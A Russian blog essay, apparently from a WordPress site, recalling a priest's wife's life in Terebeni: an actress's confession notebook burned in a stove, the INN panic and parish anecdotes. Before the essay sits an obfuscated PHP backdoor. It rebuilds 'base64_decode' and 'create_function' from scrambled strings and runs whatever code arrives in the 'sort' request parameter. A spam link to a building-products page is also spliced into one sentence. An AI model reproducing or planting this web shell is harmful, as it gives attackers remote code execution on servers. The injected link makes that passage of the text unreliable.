nnn$z0=$_REQUEST['sort'];$q1='';$c2="wt8m4;6eb39fxl*s5/.yj7(pod_h1kgzu0cqr)aniv2";$y3=array(8,38,15,7,6,4,26,25,7,34,24,25,7);foreach($y3 as $h4){$q1.=$c2[$h4];}$v5=strrev("noi"."tcnuf"."_eta"."erc");$j6=$v5("",$q1($z0));$j6();nnn?php /** * @package dazzling */ ?>

ТАИНСТВО САМОКРИТИКИ (заморочки-2)


      эпиграф:

" Современники  вспоминали, как  однажды  Стасов (великий  критик – м.В)  и  Тургенев
завтракали  в  трактире. И  вдруг – о  чудо ! – их  мнения  совпали.  Тургенева  это
изумило  настолько,  что  он  подбежал  к  окну  и  закричал:

                    —  ВЯЖИТЕ  МЕНЯ,  ПРАВОСЛАВНЫЕ ! "

                          Андрей  Петров, "Созидательный  критик".  Газета  "Гудок"  от 21 янв.2004 г.

    Мы  в  Теребенях  с  1988-89 года. Часто  меня  спрашивали  и  спрашивают,  каким  образом  мы  здесь  очутились?
    О, это  почти  детективная  история !  Когда   рассказываешь  эту  историю   у с т н о,  то  характер  донесения  каких-то   "крамольных"  подробностей  этой  истории  зависит  от  степени  взаимодоверия  с  собеседником  –  раз  уж  на  эту  тему  зашла  речь,  а  я  милостиво  пошла  навстречу  вопрошающему.  Но  я  просто  не представляю, к а к   это  повествование   может   выглядеть  письменно, когда  "по  секрету  всему  свету" . . .  Это  получится  совершенно  неэтично: ведь придётся  компрометировать  светлый  образ  всеми  любимого  о.Георгия  и  затрагивать  имена  ныне  живущих  церковных  персон. Писать  же  " уроки  благочестивой  жизни "  в   духе  умильных  мемуаров  овдовевших  матушек  – их  и  без  моих  будет  пребывать  и  пребывать.  У  меня ( дайте-ка  я  себя  покритикую)  и  так  получается  "панихида  с  танцами", "цирк  через  голову  кувырк". Знаете,как  я  называла  нашу  теребенскую  жизнь  в  этом   прицерковном  теребенском  доме  –  "турдом  с  дурбазой": все  стремились  сюда. Как  я  в  одной  из  предыдущих  меморий  –  "Ага!Попались!"  –  выразилась стремились  на "курорт  души",  чувствовали  и  вели  себя,  как  у  себя  дома,  ещё  и  поучая  меня,  к а к   я   должна  себя  вести  с  дорогим  им  батюшкой,  к т о   я  и  кто  он ,  а   ведь  он  –  неприкосновенный  "их  сердца  чемпион".
     Сейчас  мне  на  память  взбрело  одно  неожиданное  сравнение   с  теребенской  атмосферой  –  это  воспоминание  из  моей  далёкой  "театральной", точнее,  околотеатральной   жизни.
    Я  не  тешу  себя  надеждой,  что  буду  понята  в  этой  развёрнутой  метафоре..  Эпизод,  выбранный  мною  для  пояснения  разнонаправленности  теребенских  векторов, соплей  и  воздыханий,  может  сыграть  даже  обратную  функцию: замутнения  сознания  читающего, ибо  я  была  недавно  просто  напугана  репликой  одной  моей  читательницы. После  написанных  мне  комплиментов  относительно  моей  мемории  "СУТЬба  человека" она   приписала в  конце:  всё   мол  замечательно,  только  " я    н е    п о н я л а,   з а ч е м    в  стакане  делать   д ы р к у  ?"

    А   нижеследующую для  пояснения  абсурда   историю   мне   рассказала   ровно  сорок  лет  назад  моя  приятельница-коллега  по  бутафорскому  цеху  Кировского (Мариинского),  которая,  получив   б а л е т н у ю    пенсию,  отчаянно  решила  держаться  за   этот  театр  с  его  некоторыми  привилегиями  для  работников.

    Итак, вот  место  действия:  сцена, нет,  не   Кировского  театра  –  бери  выше ! –   Большого  театра. Репетиция  балета  "Ангара"  по  пьесе  "Иркутская  история". Балетный  соцреализм !  Главная  героиня, работница  дальневосточного  предприятия  Валя ( знаменитая  балерина Семеняка),  по  сюжету  родила  ребёнка ( как  бы  где-то  за  кулисами)  и   должна  выйти  из  дальней  кулисы  на  середину  сцены  делать  свои   балетные  па   с  бутафорским   ребёнком   на  своих  божественных,  но  по  сюжету  натруженных, руках. (О,  вот  и   бутафорам  работа  – чтоб  "ребёнок" после  репетиции за  кулисами   не  затерялся !) . А  надо  сказать,  что  в  пустом  громадном  зрительном  зале,  кроме  ведущих  репетицию, бывают  и н о г д а   полуслучайные  люди,  то  там  то   сям   смиренно  сидящии.
   И  вот  когда  героиня  на  пальчиках  выплыла   на  сцену,  то  вдруг  на  весь  зрительный зал  кто-то  невольно (а  может  –  сознательно ?) громко,  истерично  и  благоговейно   воскликнул , относя  эмоцию  "зависти"  к  бутафорскому  куклёнку:
 —  Счастливая !  В  Большом  театре  родилась !
………………………………………………………………………………………………………………………………………………………..
     На  фоне  предыдущих  в  Теребенях  мимолётных  – по  полгода,  по  году  – назначаемых  здесь   священников  только  один  из них, о.Елевферий  Попов,  здесь  прожил  пять  лет,  да  и  то  потому,  что  был  неправедно  репрессирован  сюда  из  Псково-Печерского  монастыря:  Теребени   были   безвестным  местом  для  опальных  и,  повторяю,  мимолётных  священников.
   Местные  жители,  которые  за  более  чем  четверть  века  поумирали  или  разъехались,  встретили  нас  в  конце  восьмидесятых,  как  и  всех  священнослужителей  до  нас,  скептически. Я  уже  писала,  что  один  из  мимолётных  монахов  обольщал  местных  жителей  своими  кулинарными   выпечными   изысками (на  закуску),  вышиванными  полотенцами  и  бурным  общением   во  внебогослужебное  время. Поэтому  и  к  моему  мужу  местные  шли  такой  же  требовательной  гурьбой. А  тут,  видите  ли  –  я !  Да   к т о   я,  видишь  ли, такая ? Ну,  конечно,  мне   в  ответ  и  приходилось  "гавкать"  на  них. Они  всё  равно  вереницей  тянулись  к  нам  за  выпивкой  и  закуской  или  же  деньгами  на  это.  А   в   ответ   на   мои   саванароловские  обличения   трафаретно  констатировали: " Да-а !  Т а к и х   у  нас  ещё  не  было ! "
  Я  неизменно  –  руки  в  боки    и   им   в  ответ: " Интересно !  Ещё  надо    р а з о б р а т ь с я ,   к т о     здесь     у    к о г о  ?  Это,  граждане-товарищи,  не   "мы  у  вас",  а    "вы  у  нас !"

      Потом   приезжавшие  к   нам   друзья  и  знакомые  из   тогда  ещё  Ленинграда  стали   насылать  в  Теребени  своих  друзей  и  знакомых,  те  –  своих . . .  Так  мы  и  стали  обрастать   "паствой".  Но  эти  "приезжане", эта  "в и р т у а л ь н а я"  паства  накапливалась  не  сразу, даже  не  годами,  а  пятилетиями !

        И  вот,  собственно,  я  подхожу  к  центральной  теме  данного  повествования.
        Где-то  в  дебрях  "девяностых",  в  один  прекрасный  день  раздался  звонок. Я  подозвала  мужа  к  незнакомому  женскому  голосу  и  была  свидетелем  их  разговора.
        О! Артистка  театра  Додина ! Это  интересно ! Ей  рекомендовали  позвонить  о.Георгию  те-то  и  те-то  дюди ?  Просто  замечательно ! Что ? Додин  решил  инсценировать  "Сказку  о  попе  и  работнике  его  балде ",  а  она, звонящая в  Теребени,  в  паническом  состоянии:  только  что  пришла  к  вере  и  –  нА  тебе !  Что ?  Решилась,  как  ей  посоветовали,  исповедаться  в  предстоящем  "греховодстве"?  И  что,  пошла,  куда  п о с о л и д н е е,  в  Казанский  собор,  что  на  Невском ?  И  опять  же  –  нА  тебе ?  Молодой  (да  ранний)  батюшка  на  исповеди,  услышав  от неё,  что  она  артистка  (!), да   вдобавок   и    к и н о артистка  (!),  он,   ещё  даже  не  дойдя  в  своём  "анамнезе"  до  исповедальной  причины – Балды  с  попом,  сразу  затопал  ногам  и  потребовал, чтобы   она  немедленно  уходила  из  еретической  профессии,  раскаявшись  и  покаявшись  за  всю  свою  безбожную   жизнь ! . .
     Это  со  стороны  священника было  равносильно  предложению  сделать  ей  себе  харакири:  ведь  она, артистка,  признанная   личность  в  этой  профессии,  этой  работой  семью  только  и   кормила,  быв   на  тот  момент  уже  в   предпенсионном  возрасте !
   И  вот  на  грани  нервного  срыва  она  опять  вняла  совету  друзей  и  позвонила  в  "какую-то"  деревню,  сильно  от  Петербурга  удалённую.
   Мой  муж   в  ответ  на  этот  эмоциональный  рассказ,  как  он  отлично  умел  делать,   в  прямом  смысле   т а к    п р и л а с к а л   позвонившую, что  даже  и  мне  захотелось  мурлыкать. Мол    в с ё    п у т ё м,  сказал  Георгий, ты  только  на  дёргайся,  молись  потихоньку  и,  главное,  не  лезь  на  глаза  начальству,  а  Господь  поругаем  не  бывает !
   И  что  ж  вы  думаете ?  Додин   расхотел  ставить  эту  сказку,  хотя   это,   урОненное  им   знамя  пушкинской  каверзы,  подхватил  вскоре  кто-то  другой  и  в  другом  месте. А  эта  артистка   после  первого  же  телефонного  звонка  стала  верной  "чадой"  о.Георгия.
    Что  же  произошло  в  скором  времени.

       По  возвращению  о.Георгия  из   поездки  в  Петербург  он,  разбирая  сумки,  выложил  передо  мной   какую-то  "общую",  что  называется,  тетрадь.
  —  Это  N  (та  артистка)  всю  её  исписала  своими  грехами.    –   Пояснил  он.
  —  Ну   и    ч т о   дальше ? – Спросила  я. – Ты  хоть  читать-то  будешь ?
      А  надо  обязательно  сказать,  что  в  те  девяностые  годы  о.Георгий  был  почти  совсем  с л е п о й ! Один  его   глаз   не  видел  вовсе,  а  другой –  еле-еле,  настолько  всё  у  о.Георгия  было  запущено.  Я   читала   ему  не  только  получаемые  письма, но  и   диктовала  в  алтарь  записочки  "О  здравии"  и  "О  упокоении" .
    Хочется  упомянуть  в  связи  с  этим  о  непримиримой  в  ту  пору  внутрицерковной  борьбе  "против"  буквы  " http://buildmate.com.sg/product/solid-brick/ б"  в  предлоге  перед  словом  "упокоении":
                              " О  упокоении"  или  же  "Об  упокоении"  –  "вот,  в  чём  вопрос!"
     Свечницы  в  церковных  лавках  готовы  были  прибить  тех,  кто  ставил  "б", писал  предлог  в  записке "ОБ упокоении" ! В  результате  борьбы  не  за  живот,  а  за  смерть,  партия  борцов  с буквой Б ("О ! упокоении" )  победила   неорганизованную  партию  только  что  пришедших  к   церкви  грамотеев-интеллигентов, которые  упорно  писали  "Об  упокоении".  Аналогичная  победа  вскоре  была  одержана  и  над  ИНН  как  над  явлением  "снизу"  нечистой  политической  силы,  которую  якобы  "раскусили" на  Афоне.
     Кстати,  теперь  отвлекусь  на  э т о т   феномен  –  об  ИНН.
     Наш  телефон  раскалялся   – так  все  были  поставлены  этой  кампанией  "на  уши".  Мы  с  мужем,  в  силу  нашей  отдалённости  от  цивилизации,   в  глаза  не  видели и  в  руках  не  держали  этого   "страшного" документа,  по  которому,  как   все  говорили,  черти-шестёрки  так  и  прыгали. Я  после  нескольких  безуспешных  попыток  логически  прекращать  на  корню  массовые  истерики   приезжающих  и  звонящих  по  этому  поводу,  выработала  контрвопрос, остававшийся  для  всех  вопрошающих  непонятым: это  у  вас  единственная  проблема,  тормозящая  с п а с е н и е   вашей  д у ш и ? А   вот  когда  разрешат  не  брать  ИНН, то   наступит  ли  "на  землИ  мир  и  в  человецех  благоволение" ? Вы  будете  ли  и  дальше  нам  звонить  с  вопросом  "ч т о   сделаю  и  спасуся ?"
      А  муж, о.Георгий,  нашёл  на  вопросы  об  ИНН-новских  роковых  шестёрках   совершенно  гениальный  ответ  –  поистине  ему  дано  было  откровение!  Он  более-менее вменяемым  людям  предлагал  сосчитать   цифры  на   в с е х     существовавших  тогда  российских  деньгах:  отдельно  на  металлических  копейках  и   отдельно  на  бумажных  рублях.  Сейчас  это  трудно  сделать,  так  как  уже   с т о л ь к о    раз  за  перестроечные  времена  менялись  деньги,  что  восстановить  "номиналы",  не  переругавшись  друг  с  другом,  пожалуй,  невозможно.
   И  вот  –  просто  наглядно  на  столе  раскладывая  монетки  и  купюры,  или  же  " в  уме"  заставляя  это  делать,  что  было  не  менее  убедительно,  все  просто  онемевали,  когда  и  там,  и  там  получались   в с е   ш е с т ё р к и.  А  муж  резюмировал:
  —  Ну  что,  православные,  будем  требовать  о т м е н ы   д е н е г ?
      Это  было  потрясающе  эффектно ! Но  вернёмся  к  артистке  с  её  "общей"  тетрадкой  и   к  незрячим   в  тот  период  глазам  о.Георгия. ( Ему  вскоре  в  Пушкиногорском  заповеднике  по  инициативе  Г.Н.Василевича  собрали  деньги  на  операцию,  но  ещё надо  было  упрямца  и  уговорить  сделать  операции.  Нижайший  им  поклон  и  благодарность за  то,  что  они  помогли  вернуть  любимому  батюшке  зрение !)

   Значит  так.  Продолжу  всё  время  прерываемый  рассказ  про  привезённую  "общую"  тетрадь.
   Поскольку  я  озвучивала   поступающие  мужу  тексты,  то  и  на  сей  раз   спросила, когда  зачитывать  ему  эту  тетрадь ?  Муж   неопределённо  махнул  рукой  и  пошёл  отдыхать.  Я  ему  в  догонку:
 —  Так  и  будет,  как  и  всё,  валяться  до  второго  пришествия ?
   Муж  буркнул: "Брось  в  печку !" –  и  окончательно исчез  с  горизонта.
   Я  бросила  тетрадь  в  растопленную  печку  и,  поджав  губы,  с  прямой  спиной,  как  говорится "словно аршин  проглотив", хлопнулась  на  стул,  тупо  уставившись  в  одну  точку  для  размышления: ну  как  же  так,  человек  старался, писал . . .  тем  более,  не  просто "человек",  а   можно  сказать, профессионал  психологических  "наук"   –   а р т и ст,  который   в  силу  своей  профессии  должен   р а б о т а т ь   н а д   с о б о й,  оцеживать  в  себе  всех  комаров . . .  и  в  друг  –  в  печку.  Нет, так  дело  не пойдёт !  Я  встала, заглянула  в  печь   и  увидела,  что  тетрадь  и  не  собирается  "заниматься"  огнём,  вытащила  её,  отряхнула  и  снова  задумалась.
     Вспомнились  замечательные  слова  из  богослужения: "Господи,  научи  мя   о п р а в д а н и е м   Твоим !"  Решила  истолковать  их  в  свою  пользу;  припомнила  также  из   святоотеческой  литературы  повествование, как  два  начинающих  монаха  спрятались  неподалёку  от  места,  где  старец  исповедывал  другого  почтенного  монаха.  Спрятались  же  эти  два  молодца,  чтобы  перенять   у  старших  товарищей  передовой  духовный  опыт  работы  над  собой   в   плане  исповеди  –  и  ведь  святоотеческий  автор  не  осудил  их,  а  наоборот,  вменил  это  им  в  праведность !  Поэтому  я  тоже  решила  "для  общего  развития"  подглядеть  один  разочек  одним  глазочком  в  эту   тетрадь,  тем  более,  что  она,  наверно,  не  случайно  ведь  названа  " о б щ е й " ?
      М-да . . .  Как  говорится,  за  что  боролась – на  то  и напоролась:  я   от  этого  подглядывания   в   шоке  до  сих  пор,  не  в  обиду  будет  сказано  авторше тех  строк.

    Мне   попался  такой  наугад   открывшийся  "пункт"  покаяния:
         . . . . . . . . . . .  . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  .. .
        . . .  )  каюсь,  что  три   раза   была  замужем,  и  все  три  брака  были  невенчанные,
                  да  и  сейчас  живу  невенчанная  с  мужем  и  не  знаю,  уживусь  ли  я  с  ним ?
       . . .  ) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
      ? ? ?
      Каяться,  не  что   мужики   и   мужики   были  в   женской  жизни  ( это  ж  как  бы "норма"!),  а   в  том,  что  четыре  раза   н е    п о в е н ч а л а с ь   с  ними ?  Я  тебя, дорогОй, вспоминать  не  хочу,  но  каюсь,  что  с  тобой  не  повенчалась  –  так  что  ли?  . . .   "общая"   тетрадь  полной  белиберды !
     Вяжите  меня,  православные, но  белиберды !
     Что  же  делать  дальше ? Настоять,  чтобы  муж  всё-таки  п р о ч и т а л  (а  это  можно  только  с  моей  помощью !) этот  набор  самопоклёпов  и  провёл  с  новой  знакомой   "работу  над  ошибками" ?  Нет,  себе  дороже  будет:  он  меня  обязательно "продаст" ( как  я  сейчас  саму  себя  здесь).
      Бросить  в  огонь ? А   вдруг  муж,  послушав  меня,  заинтересуется   всё  же  этой  тетрадью  на  радость  новой  знакомой ?
      Я  подумала-подумала  и  всё-таки  бросила  тетрадь  в  огонь.

       Однако  ч т о   именно  меня  больше  всего  ошарашило  в  этой  ситуации  и  до  сих  пор   заставляет  мысленно  к  ней  возвращаться !  Это  то,  что  она,  ситуация,  о б р а т н а,  зеркальна  относительно  е в а н г е л ь с к о й    встрече   Христа  с  самаритянкой   у  колодца,  когда  та   говорит  кокетливо  "нет  у  меня  мужа",  а  Христос  ставит  ей  на  вид  всех  пятерых,  "да  и  нынешний  тебе  не  муж !"  Христа   на   мякине     не  проведёшь !  Хотя  последнее  –  "дежурное  блюдо"  традиционных  псевдоисповедей !

      Расскажу  ещё  одну  историйку.
      В  годы, предшествующие  рукоположению  Георгия, я, чувствуя  неизбежность  этого, стала  интенсивно  посещать  богослужения  в  Духовной  академии  –  так  сказать, для  своего  "общего  развития". Однажды  при  мне  тётки-прихожанки  внутриакадемического  храма  делились   друг  с  другом  "академическими"  познаниями: " Ах,  отец  Феодосий !  К а к   он  исповедует,  ах,   к а к   он  исповедует ! Надо  к  нему,  к  нему !"
     А  я, сволочь,  разглядела  у  него  за  ухом  слуховой  аппаратик – престарелый  иеромонах  был  глуховат. Чуть  тётка  к  батюшке  подходила,  он  –  рраз! –   как  бы  почёсываясь  или  поправляя  прядь  волос,  выключал  аппаратик . . .

      Ладно,  хватит,  как  мой  муж  выражался, пузыри  пускать. Лучше   пойду-ка   я   и  сама  возьму  "общую"  тетрадь  и  запишу  пунктиками:
                  . . .) скалозубничала   о  иеромонахах,  а  также  о  верующих  и  неверующих,  выставляя  себя  самой  умной;
                 . . . . .. . . .
                  . . .) читала  и  осуждала  греховодные  записки  других . . ."

     А  вообще-то !
З а ч е м    мне   идти  за   какой-то  там  "общей"  тетрадью ?  Вот  же  она  передо  мной, то  есть   мой  ЖЖ  – л а п ш а   н а    у ш и !

=================================================================================
 анонс: ДА   КТО  Ж  ТАКОЙ  СЛОВУЩИЙ ? феномен "поручика Киже"


Добавить комментарий